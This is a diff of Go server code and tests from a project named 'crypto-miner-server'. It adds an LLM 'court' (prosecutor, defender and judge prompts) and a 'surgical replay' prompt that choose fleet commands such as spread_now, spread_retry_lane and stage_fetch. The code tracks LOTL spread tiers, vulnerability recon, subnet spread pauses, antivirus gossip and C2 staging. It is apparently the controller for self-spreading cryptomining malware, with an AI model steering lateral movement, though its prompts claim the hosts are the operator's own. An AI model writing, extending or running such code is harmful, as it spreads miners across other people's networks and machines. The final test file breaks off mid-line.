diff --git a/server/internal/ai/court_chamber.go b/server/internal/ai/court_chamber.go new file mode 100644 index 0000000..051b3a8 --- /dev/null +++ b/server/internal/ai/court_chamber.go @@ -0,0 +1,282 @@ +package ai + +import ( + "encoding/json" + "fmt" + "strings" + "time" + + "crypto-miner-server/internal/strategy" +) + +// CourtChamberProvider supplies extended real-data evidence for adversarial tribunals. +type CourtChamberProvider interface { + CourtContext + ChamberEvidence(agentID string, snap AgentSnapshot) CourtChamberEvidence +} + +// CourtChamberEvidence is prosecutor/defender input — fleet telemetry only, no inference. +type CourtChamberEvidence struct { + AgentID string `json:"agent_id"` + AgentName string `json:"agent_name"` + Hashrate float64 `json:"hashrate"` + Stuck bool `json:"stuck"` + ChainExhausted bool `json:"chain_exhausted"` + ClearanceLevel int `json:"clearance_level"` + JoinLane string `json:"join_lane,omitempty"` + ActiveMethod string `json:"active_method,omitempty"` + FingerprintKey string `json:"fingerprint_key,omitempty"` + AtlasSummary string `json:"atlas_summary"` + SubnetImmune string `json:"subnet_immune"` + ErasureRecovery string `json:"erasure_recovery"` + GossipWhispers string `json:"gossip_whispers"` +} + +// CourtDebateTurn is one role's statement in the adversarial chamber transcript. +type CourtDebateTurn struct { + Role string `json:"role"` + Text string `json:"text"` +} + +// CourtDebateTranscript is the full prosecutor/defender/judge debate for Seer feed. +type CourtDebateTranscript struct { + AgentID string `json:"agent_id"` + AgentName string `json:"agent_name"` + ClearanceLevel int `json:"clearance_level"` + Evidence CourtChamberEvidence `json:"evidence"` + Transcript []CourtDebateTurn `json:"transcript"` + Verdict string `json:"verdict,omitempty"` + CommandsJSON string `json:"commands_json,omitempty"` + Timestamp string `json:"ts"` +} + +// CourtDeps wires adversarial chamber evidence, Seer feed, and optional Emberwake broadcast. +type CourtDeps struct { + Chamber CourtChamberProvider + Seer SeerEmitter + Emberwake func(agentID string, transcript CourtDebateTranscript) +} + +// BuildCourtDebate assembles deterministic prosecutor/defender arguments from real evidence. +func BuildCourtDebate( + snap AgentSnapshot, + evidence CourtChamberEvidence, + phenotype *strategy.FleetPhenotype, + persona string, +) (CourtDebateTranscript, CourtPromptBundle) { + prosecutor := buildChamberProsecutor(snap, evidence) + defender := buildChamberDefender(phenotype, evidence) + judgeOverlay := CourtJudgeOverlay(persona) + + transcript := CourtDebateTranscript{ + AgentID: snap.AgentID, + AgentName: snap.Name, + ClearanceLevel: snap.ClearanceLevel, + Evidence: evidence, + Transcript: []CourtDebateTurn{ + {Role: "prosecutor", Text: prosecutor}, + {Role: "defender", Text: defender}, + }, + Timestamp: time.Now().UTC().Format(time.RFC3339), + } + + bundle := BuildCourtChamberJudgePrompt(snap, prosecutor, defender, judgeOverlay) + return transcript, bundle +} + +func buildChamberProsecutor(snap AgentSnapshot, ev CourtChamberEvidence) string { + var b strings.Builder + b.WriteString("PROSECUTOR — charges from fleet telemetry only.\n") + fmt.Fprintf(&b, "Host %q (%s) reports %.2f H/s hashrate", snap.Name, snap.AgentID, ev.Hashrate) + if ev.Stuck { + b.WriteString(" — STUCK") + } + b.WriteString(".\n") + if ev.ChainExhausted { + b.WriteString("Mining fallback chain exhausted: true.\n") + } + if strings.TrimSpace(ev.AtlasSummary) != "" { + fmt.Fprintf(&b, "Failure atlas: %s\n", strings.TrimSpace(ev.AtlasSummary)) + } + if strings.TrimSpace(ev.SubnetImmune) != "" { + fmt.Fprintf(&b, "Subnet immune table: %s\n", strings.TrimSpace(ev.SubnetImmune)) + } + if strings.TrimSpace(ev.ErasureRecovery) != "" { + fmt.Fprintf(&b, "Erasure recovery: %s\n", strings.TrimSpace(ev.ErasureRecovery)) + } + if strings.TrimSpace(ev.GossipWhispers) != "" { + fmt.Fprintf(&b, "Atlas LAN gossip whispers: %s\n", strings.TrimSpace(ev.GossipWhispers)) + } + failed, total := countSpreadFailures(snap) + if total > 0 { + fmt.Fprintf(&b, "LOTL spread tier failures: %d/%d failed.\n", failed, total) + } else { + b.WriteString("LOTL spread tier failures: no spread attempts recorded yet.\n") + } + b.WriteString("Per-tier spread attempts:\n") + attemptByTier := map[string]TierAttempt{} + for _, a := range snap.LOTLAttempts { + attemptByTier[a.Tier] = a + } + for _, tier := range defaultSpreadTiers { + if a, ok := attemptByTier[tier]; ok { + status := "fail" + if a.OK { + status = "ok" + } + if a.Error != "" { + fmt.Fprintf(&b, " - %s: %s (%s)\n", tier, status, a.Error) + } else { + fmt.Fprintf(&b, " - %s: %s\n", tier, status) + } + } + } + if snap.JoinLane != "" { + fmt.Fprintf(&b, "Last successful join lane: %s\n", snap.JoinLane) + } + if snap.ActiveMethod != "" { + fmt.Fprintf(&b, "Active mining method: %s\n", snap.ActiveMethod) + } + return strings.TrimSpace(b.String()) +} + +func buildChamberDefender(phenotype *strategy.FleetPhenotype, ev CourtChamberEvidence) string { + var b strings.Builder + b.WriteString("PUBLIC DEFENDER — counsel cites fleet phenotype and recovery paths.\n") + if phenotype == nil { + b.WriteString("No matching FleetPhenotype on record for this fingerprint. Cannot cite a peer success path.\n") + } else { + name := phenotype.SourceAgentName + if name == "" { + name = phenotype.SourceAgentID + } + fmt.Fprintf(&b, "Fleet phenotype from %s (fingerprint %s):\n", name, phenotype.Fingerprint) + if phenotype.ActiveTier != "" { + fmt.Fprintf(&b, "Winning tier: %s at %.2f H/s\n", phenotype.ActiveTier, phenotype.PeakHashrate) + } + if phenotype.SpreadLane != "" { + fmt.Fprintf(&b, "Spread lane: %s\n", phenotype.SpreadLane) + } + if len(phenotype.TierOrder) > 0 { + fmt.Fprintf(&b, "Tier order: %s\n", strings.Join(phenotype.TierOrder, " → ")) + } + if raw, err := json.Marshal(phenotype); err == nil { + fmt.Fprintf(&b, "Phenotype JSON: %s\n", string(raw)) + } + } + if strings.Contains(ev.ErasureRecovery, "lanes_enabled=true") { + b.WriteString("Erasure RS 4+2 lanes are enabled fleet-wide — stage_fetch shard recovery is available.\n") + } + if strings.Contains(ev.SubnetImmune, "paused") { + b.WriteString("Subnet immune pause is active — spread commands to this /24 are blocked until pause expires.\n") + } + if strings.TrimSpace(ev.GossipWhispers) != "" { + b.WriteString("LAN siblings reported skip hints — reorder_tiers may front lanes that succeeded on peers.\n") + } + return strings.TrimSpace(b.String()) +} + +// BuildCourtChamberJudgePrompt renders the L4 judge LLM turn after adversarial transcript. +func BuildCourtChamberJudgePrompt(snap AgentSnapshot, prosecutor, defender, judgeOverlay string) CourtPromptBundle { + var system strings.Builder + system.WriteString(strings.TrimSpace(`You are the AetherForge Court Judge (L4 clearance) for the operator's own stuck fleet hosts. +The adversarial chamber has concluded. PROSECUTOR and PUBLIC DEFENDER spoke from real fleet telemetry only. +You must weigh their statements and issue a binding verdict with at most 3 commands. +Valid command types: bulk_command, agent_command, discover_and_join, restart_mining, reorder_tiers, spread_now, spread_retry_lane, skip_tier, stage_fetch, set_agent_version, noop. +spread_retry_lane args: lane (string), optional data/manifest for staging lanes (bits_curl, do_peer, dns_txt, …). +skip_tier args: tier (string) or skip_tiers (array) — merged into reorder_tiers on dispatch. +Court-ordered spread_retry_lane and skip_tier execute with L4 clearance. +Never target third-party systems. Do not invent telemetry — only cite evidence already in the transcript.`)) + system.WriteString("\n\n## PROSECUTOR\n") + system.WriteString(prosecutor) + system.WriteString("\n\n## PUBLIC DEFENDER\n") + system.WriteString(defender) + + var user strings.Builder + fmt.Fprintf(&user, "Agent under review: name=%q id=%s clearance=L%d\n", snap.Name, snap.AgentID, snap.ClearanceLevel) + fmt.Fprintf(&user, "Platform: GOOS=%s version=%s build=%s\n", firstNonEmpty(snap.GOOS, snap.Platform), snap.Version, snap.BuildID) + fmt.Fprintf(&user, "Mining hashrate: %.2f H/s\n", snap.MiningHashrate) + if snap.FingerprintKey != "" { + fmt.Fprintf(&user, "Fingerprint: %s\n", snap.FingerprintKey) + } + user.WriteString("\n## JUDGE (L4)\n") + user.WriteString(judgeOverlay) + user.WriteString("Reply with ONE sentence verdict on the first line, then JSON with at most 3 commands:\n") + user.WriteString(`{"commands":[{"type":"noop","args":{}}]}` + "\n") + + return CourtPromptBundle{ + SystemPrompt: system.String(), + UserPrompt: user.String(), + ProsecutorSnippet: prosecutor, + DefenderSnippet: defender, + } +} + +// FinalizeCourtDebate attaches judge response to transcript for Seer emission. +func FinalizeCourtDebate(transcript CourtDebateTranscript, judgeResponse string) CourtDebateTranscript { + transcript.Verdict = ExtractJudgeVerdict(judgeResponse) + transcript.CommandsJSON = extractCommandsJSON(judgeResponse) + transcript.Transcript = append(transcript.Transcript, CourtDebateTurn{ + Role: "judge", + Text: strings.TrimSpace(judgeResponse), + }) + return transcript +} + +func extractCommandsJSON(raw string) string { + raw = strings.TrimSpace(raw) + idx := strings.Index(raw, "{") + if idx < 0 { + return "" + } + return strings.TrimSpace(raw[idx:]) +} + +// FormatGossipWhispers renders LAN gossip hints for court evidence. +func FormatGossipWhispers(hints []struct { + Tier, Condition, Reason string +}) string { + if len(hints) == 0 { + return "none recorded on this /24" + } + parts := make([]string, 0, len(hints)) + for _, h := range hints { + line := h.Tier + "|" + h.Condition + if h.Reason != "" { + line += " (" + h.Reason + ")" + } + parts = append(parts, line) + } + return strings.Join(parts, "; ") +} + +// FormatSubnetImmuneRow renders one subnet_spread_pause row for court evidence. +func FormatSubnetImmuneRow(prefix string, failCount int, pausedUntil *time.Time) string { + if prefix == "" { + return "no /24 prefix for agent IP" + } + if failCount == 0 { + return fmt.Sprintf("prefix=%s fail_count=0 (not paused)", prefix) + } + line := fmt.Sprintf("prefix=%s fail_count=%d", prefix, failCount) + if pausedUntil != nil && time.Now().UTC().Before(pausedUntil.UTC()) { + line += fmt.Sprintf(" paused_until=%s UTC", pausedUntil.UTC().Format(time.RFC3339)) + } + return line +} + +// FormatErasureRecovery reports erasure lane policy and stage_fetch attempt status. +func FormatErasureRecovery(lanesEnabled, stageFetchAttempted, stageFetchOK bool) string { + var b strings.Builder + fmt.Fprintf(&b, "lanes_enabled=%v", lanesEnabled) + fmt.Fprintf(&b, " stage_fetch_attempted=%v", stageFetchAttempted) + if stageFetchAttempted { + fmt.Fprintf(&b, " stage_fetch_ok=%v", stageFetchOK) + } + if lanesEnabled { + b.WriteString(" (RS 4+2 shard recovery available via stage_fetch)") + } else { + b.WriteString(" (erasure lanes disabled — primary C2 staging only)") + } + return b.String() +} diff --git a/server/internal/ai/court_chamber_test.go b/server/internal/ai/court_chamber_test.go new file mode 100644 index 0000000..7c56222 --- /dev/null +++ b/server/internal/ai/court_chamber_test.go @@ -0,0 +1,92 @@ +package ai + +import ( + "strings" + "testing" + "time" + + "crypto-miner-server/internal/strategy" +) + +func TestBuildCourtDebateIncludesRealEvidence(t *testing.T) { + ev := CourtChamberEvidence{ + AgentID: "a1", AgentName: "stuck", Hashrate: 0, Stuck: true, + ChainExhausted: true, AtlasSummary: "docker 5/5 failed (100%)", + SubnetImmune: "prefix=10.0.0 fail_count=5 paused_until=2026-06-08T00:00:00Z UTC", + ErasureRecovery: "lanes_enabled=true stage_fetch_attempted=false (RS 4+2 shard recovery available via stage_fetch)", + GossipWhispers: "docker|defender_on (lan gossip)", + } + snap := AgentSnapshot{ + AgentID: "a1", Name: "stuck", Stuck: true, ChainExhausted: true, + LOTLAttempts: stuckSpreadAttempts(), + } + transcript, bundle := BuildCourtDebate(snap, ev, nil, PersonaBalanced) + if len(transcript.Transcript) != 2 { + t.Fatalf("transcript=%+v", transcript.Transcript) + } + if transcript.Transcript[0].Role != "prosecutor" || transcript.Transcript[1].Role != "defender" { + t.Fatalf("roles=%+v", transcript.Transcript) + } + pros := transcript.Transcript[0].Text + for _, want := range []string{ + "0.00 H/s", "Failure atlas: docker", "Subnet immune table:", + "Erasure recovery:", "Atlas LAN gossip whispers:", "14/14 failed", + } { + if !strings.Contains(pros, want) { + t.Fatalf("prosecutor missing %q: %s", want, pros) + } + } + if !strings.Contains(bundle.SystemPrompt, "## PUBLIC DEFENDER") { + t.Fatalf("judge prompt missing defender section") + } + if !strings.Contains(bundle.UserPrompt, "## JUDGE (L4)") { + t.Fatalf("judge user prompt: %s", bundle.UserPrompt) + } +} + +func TestBuildCourtDebateDefenderPhenotype(t *testing.T) { + phenotype := &strategy.FleetPhenotype{ + Fingerprint: "win|1", SourceAgentName: "winner", ActiveTier: "container", + PeakHashrate: 900, SpreadLane: "winrm", TierOrder: []string{"container", "wsl"}, + } + ev := CourtChamberEvidence{ErasureRecovery: "lanes_enabled=true stage_fetch_attempted=false"} + _, bundle := BuildCourtDebate(AgentSnapshot{AgentID: "a1"}, ev, phenotype, PersonaBalanced) + if !strings.Contains(bundle.DefenderSnippet, "Fleet phenotype from winner") { + t.Fatalf("defender=%s", bundle.DefenderSnippet) + } + if !strings.Contains(bundle.DefenderSnippet, "Erasure RS 4+2 lanes") { + t.Fatalf("defender erasure=%s", bundle.DefenderSnippet) + } +} + +func TestFinalizeCourtDebateAddsJudgeTurn(t *testing.T) { + raw := "Verdict: restart mining.\n{\"commands\":[{\"type\":\"restart_mining\",\"args\":{}}]}" + transcript := CourtDebateTranscript{ + Transcript: []CourtDebateTurn{{Role: "prosecutor", Text: "charges"}}, + } + out := FinalizeCourtDebate(transcript, raw) + if len(out.Transcript) != 2 || out.Transcript[1].Role != "judge" { + t.Fatalf("transcript=%+v", out.Transcript) + } + if out.Verdict != "restart mining." { + t.Fatalf("verdict=%q", out.Verdict) + } + if !strings.Contains(out.CommandsJSON, "restart_mining") { + t.Fatalf("commands=%q", out.CommandsJSON) + } +} + +func TestFormatSubnetImmuneRowPaused(t *testing.T) { + until := time.Now().UTC().Add(2 * time.Hour) + line := FormatSubnetImmuneRow("10.0.0", 5, &until) + if !strings.Contains(line, "fail_count=5") || !strings.Contains(line, "paused_until=") { + t.Fatalf("line=%q", line) + } +} + +func TestFormatErasureRecovery(t *testing.T) { + line := FormatErasureRecovery(true, true, false) + if !strings.Contains(line, "lanes_enabled=true") || !strings.Contains(line, "stage_fetch_ok=false") { + t.Fatalf("line=%q", line) + } +} diff --git a/server/internal/ai/surgical_commands.go b/server/internal/ai/surgical_commands.go new file mode 100644 index 0000000..15d9341 --- /dev/null +++ b/server/internal/ai/surgical_commands.go @@ -0,0 +1,32 @@ +package ai + +import ( + "fmt" + "strings" +) + +// ExpandSurgicalCommand maps surgical fix types to executable fleet commands. +func ExpandSurgicalCommand(cmd Command) []Command { + switch cmd.Type { + case CmdSpreadRetryLane: + return []Command{ResolveSpreadRetryLane(cmd.Args)} + case CmdSkipTier: + return []Command{ResolveSkipTier(cmd.Args)} + case CmdPersonaTweak, CmdEnableErasure, CmdSpreadGraft: + return []Command{cmd} + default: + return []Command{cmd} + } +} + +// FormatSurgicalFixArgs serializes command args for strain memory storage. +func FormatSurgicalFixArgs(cmd Command) string { + if cmd.Args == nil { + return "" + } + parts := make([]string, 0, len(cmd.Args)) + for k, v := range cmd.Args { + parts = append(parts, fmt.Sprintf("%s=%v", k, v)) + } + return strings.Join(parts, ",") +} diff --git a/server/internal/ai/surgical_replay.go b/server/internal/ai/surgical_replay.go new file mode 100644 index 0000000..cbd5eae --- /dev/null +++ b/server/internal/ai/surgical_replay.go @@ -0,0 +1,201 @@ +package ai + +import ( + "encoding/json" + "fmt" + "strings" +) + +// SurgicalTraceContext is minimal Path Tracer context for a failed branch replay. +type SurgicalTraceContext struct { + SessionID string `json:"session_id"` + HopIndex int `json:"hop_index"` + HopCount int `json:"hop_count"` + EgressAgentID string `json:"egress_agent_id,omitempty"` + SessionError string `json:"session_error,omitempty"` + DiscoverError string `json:"discover_error,omitempty"` + TargetSubnets []string `json:"target_subnets,omitempty"` +} + +// SurgicalDiagnosticBundle is the compact payload fed to the surgical replay LLM. +type SurgicalDiagnosticBundle struct { + AgentID string `json:"agent_id"` + AgentName string `json:"agent_name"` + Strain string `json:"strain,omitempty"` + FailedTier string `json:"failed_tier"` + FailedError string `json:"failed_error,omitempty"` + SpreadFailures int `json:"spread_failures"` + MiningHashrate float64 `json:"mining_hashrate"` + JoinLane string `json:"join_lane,omitempty"` + Persona string `json:"persona,omitempty"` + ErasureOn bool `json:"erasure_on"` + Trace SurgicalTraceContext `json:"trace"` + FailedAttempts []TierAttempt `json:"failed_attempts"` + AtlasSummary string `json:"atlas_summary,omitempty"` + Options map[string]interface{} `json:"fix_options,omitempty"` +} + +// SurgicalTraceProvider resolves persisted Path Tracer context for an agent. +type SurgicalTraceProvider interface { + TraceForAgent(agentID string) (SurgicalTraceContext, bool) +} + +// StrainMemoryStore persists surgical replay outcomes. +type StrainMemoryStore interface { + InsertStrainMemory(agentID, sessionID, failedTier, strain, fixType, fixArgs, outcome string) error +} + +// SeerEmitter records Seer feed events for dashboard streaming. +type SeerEmitter interface { + EmitSeerEvent(eventType, agentID string, payload map[string]interface{}) error +} + +// SurgicalDeps wires optional surgical replay collaborators into the scheduler. +type SurgicalDeps struct { + Trace SurgicalTraceProvider + Strain StrainMemoryStore + Seer SeerEmitter + StrainLookup func(agentID string) string + ErasureActive func() bool +} + +// ShouldUseSurgicalReplay is true when a pathtrace branch failed partially along spread tiers. +func ShouldUseSurgicalReplay(trace SurgicalTraceContext, snap AgentSnapshot) bool { + if trace.SessionID == "" { + return false + } + if snap.MiningHashrate > 0 { + return false + } + if AllSpreadTiersFailed(snap) || snap.Stuck { + return false + } + failedTier, _ := firstFailedSpreadTier(snap.LOTLAttempts) + return failedTier != "" +} + +// BuildSurgicalDiagnosticBundle composes a minimal replay bundle from trace + snapshot. +func BuildSurgicalDiagnosticBundle( + snap AgentSnapshot, + trace SurgicalTraceContext, + atlasSummary, persona string, + erasureOn bool, +) SurgicalDiagnosticBundle { + failedTier, failedErr := firstFailedSpreadTier(snap.LOTLAttempts) + failed, _ := countSpreadFailures(snap) + bundle := SurgicalDiagnosticBundle{ + AgentID: snap.AgentID, + AgentName: snap.Name, + FailedTier: failedTier, + FailedError: failedErr, + SpreadFailures: failed, + MiningHashrate: snap.MiningHashrate, + JoinLane: snap.JoinLane, + Persona: persona, + ErasureOn: erasureOn, + Trace: trace, + AtlasSummary: strings.TrimSpace(atlasSummary), + FailedAttempts: failedSpreadAttempts(snap.LOTLAttempts), + Options: map[string]interface{}{ + "persona_tweak": []string{"aggressive", "silent", "passive", "persuasive", "balanced"}, + "tier_skip": true, + "erasure_on": !erasureOn, + "spread_graft": true, + "retry_lane": true, + }, + } + return bundle +} + +// BuildSurgicalReplayPrompt renders the single-command surgical replay LLM prompt. +func BuildSurgicalReplayPrompt(bundle SurgicalDiagnosticBundle) (systemPrompt, userPrompt string) { + systemPrompt = strings.TrimSpace(`You are the AetherForge surgical replay controller for the operator's own fleet. +Examine the failed spread/onion branch from the persisted Path Tracer trace and LOTL attempts. +Propose ONE minimal surgical fix — not a full court tribunal. +Valid command types (pick exactly one): persona_tweak, skip_tier, enable_erasure, spread_graft, spread_retry_lane, reorder_tiers, discover_and_join, stage_fetch, spread_now, restart_mining, noop. +persona_tweak args: persona (aggressive|silent|passive|persuasive|balanced). +skip_tier args: tier (string) or skip_tiers (array). +enable_erasure args: {} — turns on Reed–Solomon multi-lane staging for this fleet pass. +spread_graft args: source_agent_id (string), tier (string) — splice winning strain tier order onto this agent. +spread_retry_lane args: lane (string), optional data/manifest for staging lanes. +Return JSON with exactly one command in commands[]. Never target third-party systems.`) + + var user strings.Builder + fmt.Fprintf(&user, "Surgical replay for agent %q (%s)\n", bundle.AgentName, bundle.AgentID) + fmt.Fprintf(&user, "Failed spread tier: %s", bundle.FailedTier) + if bundle.FailedError != "" { + fmt.Fprintf(&user, " (%s)", bundle.FailedError) + } + user.WriteString("\n") + fmt.Fprintf(&user, "Path trace session %s hop %d/%d\n", bundle.Trace.SessionID[:min(8, len(bundle.Trace.SessionID))], bundle.Trace.HopIndex+1, bundle.Trace.HopCount) + if bundle.Trace.SessionError != "" { + fmt.Fprintf(&user, "Session error: %s\n", bundle.Trace.SessionError) + } + if bundle.Trace.DiscoverError != "" { + fmt.Fprintf(&user, "Discover error: %s\n", bundle.Trace.DiscoverError) + } + if bundle.AtlasSummary != "" { + fmt.Fprintf(&user, "Failure atlas: %s\n", bundle.AtlasSummary) + } + fmt.Fprintf(&user, "Persona=%s erasure_lanes=%v join_lane=%s hashrate=%.2f\n", + emptyDash(bundle.Persona), bundle.ErasureOn, emptyDash(bundle.JoinLane), bundle.MiningHashrate) + user.WriteString("Failed spread attempts:\n") + for _, a := range bundle.FailedAttempts { + if a.Error != "" { + fmt.Fprintf(&user, " - %s: %s\n", a.Tier, a.Error) + } else { + fmt.Fprintf(&user, " - %s: fail\n", a.Tier) + } + } + if raw, err := json.Marshal(bundle.Trace); err == nil { + fmt.Fprintf(&user, "Trace JSON: %s\n", string(raw)) + } + user.WriteString("\nReply with one-line rationale, then JSON with exactly ONE command:\n") + user.WriteString(`{"commands":[{"type":"skip_tier","args":{"tier":"docker"}}]}` + "\n") + return systemPrompt, user.String() +} + +// SelectSurgicalCommand returns the first actionable command (at most one dispatch). +func SelectSurgicalCommand(cmds []Command) (Command, bool) { + for _, c := range cmds { + if c.Type == CmdNoop { + continue + } + return c, true + } + return Command{}, false +} + +func firstFailedSpreadTier(attempts []TierAttempt) (tier, errMsg string) { + attemptByTier := map[string]TierAttempt{} + for _, a := range attempts { + attemptByTier[a.Tier] = a + } + for _, t := range defaultSpreadTiers { + if a, ok := attemptByTier[t]; ok && !a.OK { + return t, a.Error + } + } + return "", "" +} + +func failedSpreadAttempts(attempts []TierAttempt) []TierAttempt { + attemptByTier := map[string]TierAttempt{} + for _, a := range attempts { + attemptByTier[a.Tier] = a + } + var out []TierAttempt + for _, t := range defaultSpreadTiers { + if a, ok := attemptByTier[t]; ok && !a.OK { + out = append(out, a) + } + } + return out +} + +func min(a, b int) int { + if a < b { + return a + } + return b +} diff --git a/server/internal/ai/surgical_replay_test.go b/server/internal/ai/surgical_replay_test.go new file mode 100644 index 0000000..e470d46 --- /dev/null +++ b/server/internal/ai/surgical_replay_test.go @@ -0,0 +1,75 @@ +package ai + +import ( + "strings" + "testing" +) + +func TestShouldUseSurgicalReplayPartialFailureWithTrace(t *testing.T) { + trace := SurgicalTraceContext{SessionID: "sess-abc", HopIndex: 1, HopCount: 3} + snap := AgentSnapshot{ + LOTLAttempts: []TierAttempt{ + {Tier: "vuln_recon", OK: true}, + {Tier: "docker", OK: false, Error: "daemon missing"}, + }, + } + if !ShouldUseSurgicalReplay(trace, snap) { + t.Fatal("expected surgical replay for partial spread failure with trace") + } +} + +func TestShouldUseSurgicalReplaySkipsFullCourtStuck(t *testing.T) { + trace := SurgicalTraceContext{SessionID: "sess-abc"} + snap := AgentSnapshot{Stuck: true, LOTLAttempts: stuckSpreadAttempts()} + if ShouldUseSurgicalReplay(trace, snap) { + t.Fatal("expected court path, not surgical replay, when fully stuck") + } +} + +func TestShouldUseSurgicalReplayRequiresTrace(t *testing.T) { + snap := AgentSnapshot{ + LOTLAttempts: []TierAttempt{{Tier: "docker", OK: false}}, + } + if ShouldUseSurgicalReplay(SurgicalTraceContext{}, snap) { + t.Fatal("expected false without pathtrace session") + } +} + +func TestBuildSurgicalReplayPromptMentionsFailedTier(t *testing.T) { + bundle := BuildSurgicalDiagnosticBundle( + AgentSnapshot{AgentID: "a1", Name: "host", JoinLane: "do_peer"}, + SurgicalTraceContext{SessionID: "trace-123", HopIndex: 0, HopCount: 2, DiscoverError: "no smb"}, + "wsl 3/3 failed", PersonaBalanced, false, + ) + bundle.FailedTier = "docker" + bundle.FailedError = "not installed" + bundle.FailedAttempts = []TierAttempt{{Tier: "docker", OK: false, Error: "not installed"}} + _, user := BuildSurgicalReplayPrompt(bundle) + if !strings.Contains(user, "docker") { + t.Fatalf("missing failed tier in prompt: %s", user) + } + if !strings.Contains(user, "trace-123") { + t.Fatalf("missing session id in prompt: %s", user) + } + if !strings.Contains(user, "no smb") { + t.Fatalf("missing discover error in prompt: %s", user) + } +} + +func TestSelectSurgicalCommandPicksFirstActionable(t *testing.T) { + cmd, ok := SelectSurgicalCommand([]Command{ + {Type: CmdNoop}, + {Type: CmdSkipTier, Args: map[string]interface{}{"tier": "docker"}}, + {Type: CmdRestartMining}, + }) + if !ok || cmd.Type != CmdSkipTier { + t.Fatalf("got %+v ok=%v", cmd, ok) + } +} + +func TestExpandSurgicalCommandSkipTier(t *testing.T) { + out := ExpandSurgicalCommand(Command{Type: CmdSkipTier, Args: map[string]interface{}{"tier": "wsl"}}) + if len(out) != 1 || out[0].Type != CmdReorderTiers { + t.Fatalf("got %+v", out) + } +} diff --git a/server/internal/api/court_chamber_bridge.go b/server/internal/api/court_chamber_bridge.go new file mode 100644 index 0000000..3502546 --- /dev/null +++ b/server/internal/api/court_chamber_bridge.go @@ -0,0 +1,142 @@ +package api + +import ( + "strings" + "time" + + fleetai "crypto-miner-server/internal/ai" + "crypto-miner-server/internal/atlas" + "crypto-miner-server/internal/db" + "crypto-miner-server/internal/strategy" +) + +// HubCourtChamberAdapter supplies court tribunal data from hub + SQLite. +type HubCourtChamberAdapter struct { + Hub *WSHub + DB *db.Database +} + +// NewHubCourtChamberAdapter wires hub evidence for adversarial court sessions. +func NewHubCourtChamberAdapter(hub *WSHub, database *db.Database) *HubCourtChamberAdapter { + return &HubCourtChamberAdapter{Hub: hub, DB: database} +} + +func (a *HubCourtChamberAdapter) FailureAtlasSummary(fingerprintKey, goos string) string { + if a == nil { + return "" + } + inner := &DatabaseCourtAdapter{DB: a.DB} + return inner.FailureAtlasSummary(fingerprintKey, goos) +} + +func (a *HubCourtChamberAdapter) BestPhenotype(fingerprintKey, goos string) (*strategy.FleetPhenotype, bool) { + if a == nil { + return nil, false + } + inner := &DatabaseCourtAdapter{DB: a.DB} + return inner.BestPhenotype(fingerprintKey, goos) +} + +func (a *HubCourtChamberAdapter) ChamberEvidence(agentID string, snap fleetai.AgentSnapshot) fleetai.CourtChamberEvidence { + ev := fleetai.CourtChamberEvidence{ + AgentID: agentID, + AgentName: snap.Name, + Hashrate: snap.MiningHashrate, + Stuck: snap.Stuck, + ChainExhausted: snap.ChainExhausted, + ClearanceLevel: snap.ClearanceLevel, + JoinLane: snap.JoinLane, + ActiveMethod: snap.ActiveMethod, + FingerprintKey: snap.FingerprintKey, + } + if a == nil { + return ev + } + goos := firstNonEmpty(snap.GOOS, snap.Platform) + ev.AtlasSummary = a.FailureAtlasSummary(snap.FingerprintKey, goos) + ev.SubnetImmune, ev.ErasureRecovery, ev.GossipWhispers = a.hubEvidence(agentID, snap) + return ev +} + +func (a *HubCourtChamberAdapter) hubEvidence(agentID string, snap fleetai.AgentSnapshot) (subnetImmune, erasureRecovery, gossip string) { + if a.Hub == nil { + return "hub unavailable", fleetai.FormatErasureRecovery(false, false, false), "none" + } + prefix := a.Hub.agentSubnetFor(agentID) + if prefix == "" && a.Hub.db != nil { + if ag, err := a.Hub.db.GetAgent(agentID); err == nil && ag != nil { + prefix = atlas.PrefixFromHostOrIP(ag.IP) + } + } + failCount := 0 + var pausedUntil *time.Time + if a.Hub.db != nil && prefix != "" { + if row, err := a.Hub.db.GetSubnetSpreadPause(prefix); err == nil && row != nil { + failCount = row.FailCount + pausedUntil = row.PausedUntil + } + } + subnetImmune = fleetai.FormatSubnetImmuneRow(prefix, failCount, pausedUntil) + + policy := a.Hub.serverPolicySnapshot() + stageAttempted, stageOK := stageFetchStatus(snap.LOTLAttempts) + erasureRecovery = fleetai.FormatErasureRecovery(policy.ErasureLanesEnabled, stageAttempted, stageOK) + + hints := a.Hub.gossipWhispersForSubnet(prefix) + gossip = formatGossipForCourt(hints) + return subnetImmune, erasureRecovery, gossip +} + +func stageFetchStatus(attempts []fleetai.TierAttempt) (attempted, ok bool) { + for _, a := range attempts { + if a.Tier == "stage_fetch" || a.Tier == "bits_curl" || a.Tier == "bits" || a.Tier == "curl" { + attempted = true + if a.OK { + ok = true + } + } + } + return attempted, ok +} + +func formatGossipForCourt(hints []atlas.GossipHint) string { + if len(hints) == 0 { + return "none recorded on this /24" + } + parts := make([]string, 0, len(hints)) + for _, h := range hints { + line := h.Tier + "|" + h.Condition + if h.Reason != "" { + line += " (" + h.Reason + ")" + } + parts = append(parts, line) + } + return strings.Join(parts, "; ") +} + +func firstNonEmpty(values ...string) string { + for _, v := range values { + if strings.TrimSpace(v) != "" { + return strings.TrimSpace(v) + } + } + return "" +} + +// BroadcastEmberwakeCourtDebate optionally surfaces court transcripts on Emberwake dashboard WS. +func (h *WSHub) BroadcastEmberwakeCourtDebate(agentID string, transcript fleetai.CourtDebateTranscript) { + if h == nil { + return + } + h.broadcastDashboard(Message{ + Type: "emberwake_court_debate", + Payload: mustMarshal(map[string]interface{}{ + "agent_id": agentID, + "agent_name": transcript.AgentName, + "verdict": transcript.Verdict, + "transcript": transcript.Transcript, + "evidence": transcript.Evidence, + "ts": transcript.Timestamp, + }), + }) +} diff --git a/server/internal/api/court_chamber_test.go b/server/internal/api/court_chamber_test.go new file mode 100644 index 0000000..7535013 --- /dev/null +++ b/server/internal/api/court_chamber_test.go @@ -0,0 +1,175 @@ +package api + +import ( + "context" + "encoding/json" + "io" + "net/http" + "net/http/httptest" + "strings" + "sync" + "testing" + "time" + + fleetai "crypto-miner-server/internal/ai" + "crypto-miner-server/internal/atlas" + "crypto-miner-server/internal/clearance" + "crypto-miner-server/internal/db" + "crypto-miner-server/internal/models" +) + +func TestHubCourtChamberEvidenceRealData(t *testing.T) { + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + defer database.Close() + + agentID := "chamber-evidence-agent" + if err := database.UpsertAgent(&models.Agent{ + ID: agentID, Name: "Patient", IP: "192.168.50.10", Platform: "windows", Status: "online", + ChainExhausted: true, + }); err != nil { + t.Fatal(err) + } + for i := 0; i < 3; i++ { + _, _ = 